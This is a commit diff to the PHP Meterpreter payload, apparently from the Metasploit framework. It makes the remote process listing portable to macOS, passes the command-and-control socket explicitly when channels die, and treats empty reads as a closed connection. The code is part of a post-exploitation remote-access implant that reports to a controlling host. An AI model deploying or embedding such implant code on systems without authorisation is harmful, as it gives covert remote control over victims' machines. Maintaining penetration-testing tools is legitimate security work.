Update PHP Meterpreter errors

Author: adfoster-r7

php/meterpreter/ext_server_stdapi.php

@@ -1101,7 +1101,10 @@ function stdapi_sys_process_get_processes($req, &$pkt) {
     } else {
         # This command produces a line like:
         #    1553 root     /sbin/getty -8 38400 tty1
-        $output = my_cmd("ps ax -w -o pid,user,cmd --no-header 2>/dev/null");
+        # Use empty column-name syntax (pid=,user=,command=) to suppress the
+        # header portably on both Linux procps-ng and macOS/BSD ps.
+        # 'command' is the POSIX name; Linux also accepts 'cmd' but macOS does not.
+        $output = my_cmd("ps ax -w -o pid=,user=,command= 2>/dev/null");
         $lines = explode("\n", trim($output));
         foreach ($lines as $line) {
             array_push($list, preg_split("/\s+/", trim($line)));

php/meterpreter/meterpreter.php

@@ -1000,7 +1000,8 @@ function channel_read($chan_id, $len) {
     # there's no data right now but we haven't hit EOF yet.
     if (false === $read and empty($ret)) {
       if (interacting($chan_id)) {
-        handle_dead_resource_channel($c[1]);
+        $c2_sock = $GLOBALS['transport_list'][$GLOBALS['current_transport_idx']]['_socket'];
+        handle_dead_resource_channel($c[1], $c2_sock);
       }
       return false;
     }
@@ -1099,9 +1100,7 @@ function write_tlv_to_socket($resource, $raw) {
   write($resource, $xor . xor_bytes($xor, encrypt_packet($raw)));
 }
 
-function handle_dead_resource_channel($resource) {
-  global $msgsock;
-
+function handle_dead_resource_channel($resource, $c2_sock) {
   if (!is_resource($resource) && !is_object($resource)) {
     return;
   }
@@ -1129,7 +1128,7 @@ function handle_dead_resource_channel($resource) {
 
     # Add the length to the beginning of the packet
     $pkt = pack("N", strlen($pkt) + 4) . $pkt;
-    write_tlv_to_socket($msgsock, $pkt);
+    write_tlv_to_socket($c2_sock, $pkt);
   }
 }
 
@@ -1674,7 +1673,7 @@ function dispatch_tcp(&$transport) {
         } else {
           $data = read($ready);
           if (false === $data) {
-            handle_dead_resource_channel($ready);
+            handle_dead_resource_channel($ready, $msgsock);
           } elseif (strlen($data) > 0) {
             my_print(sprintf("Read returned %s bytes", strlen($data)));
             $request = handle_resource_read_channel($ready, $data);
@@ -1924,11 +1923,16 @@ function read($resource, $len=null) {
       socket_recvfrom($resource, $buff, $len, PHP_BINARY_READ, $host, $port);
     } else {
       my_print("Reading TCP socket");
-      $buff .= socket_read($resource, $len, PHP_BINARY_READ);
+      $result = socket_read($resource, $len, PHP_BINARY_READ);
+      # socket_read returns "" or false when the peer closes the connection.
+      if ($result === false || $result === '') {
+        $buff = false;
+      } else {
+        $buff .= $result;
+      }
     }
     break;
   case 'stream':
-    global $msgsock;
     # Calling select here should ensure that we never try to read from a socket
     # or pipe that doesn't currently have data.  If that ever happens, the
     # whole php process will block waiting for data that may never come.
@@ -1972,13 +1976,22 @@ function read($resource, $len=null) {
       } else {
         $tmp = fread($resource, $len);
         $last_requested_len = $len;
+        # An empty fread on a stream that stream_select reported as readable
+        # means the peer has closed the connection (EOF). feof() may not return
+        # true immediately on all stream types (e.g. SSL), so treat "" as EOF.
+        if ($tmp === false || $tmp === '') {
+          if (empty($buff)) {
+            $buff = false;
+          }
+          break;
+        }
         $buff .= $tmp;
         if (strlen($tmp) < $len) {
           break;
         }
       }
 
-      if ($resource != $msgsock) { my_print("buff: '$buff'"); }
+      my_print("buff: '$buff'");
       $r = Array($resource);
     }
     my_print(sprintf("Done with the big read loop on %s, got %d bytes, asked for %d bytes", get_resource_map_id($resource), strlen($buff), $last_requested_len));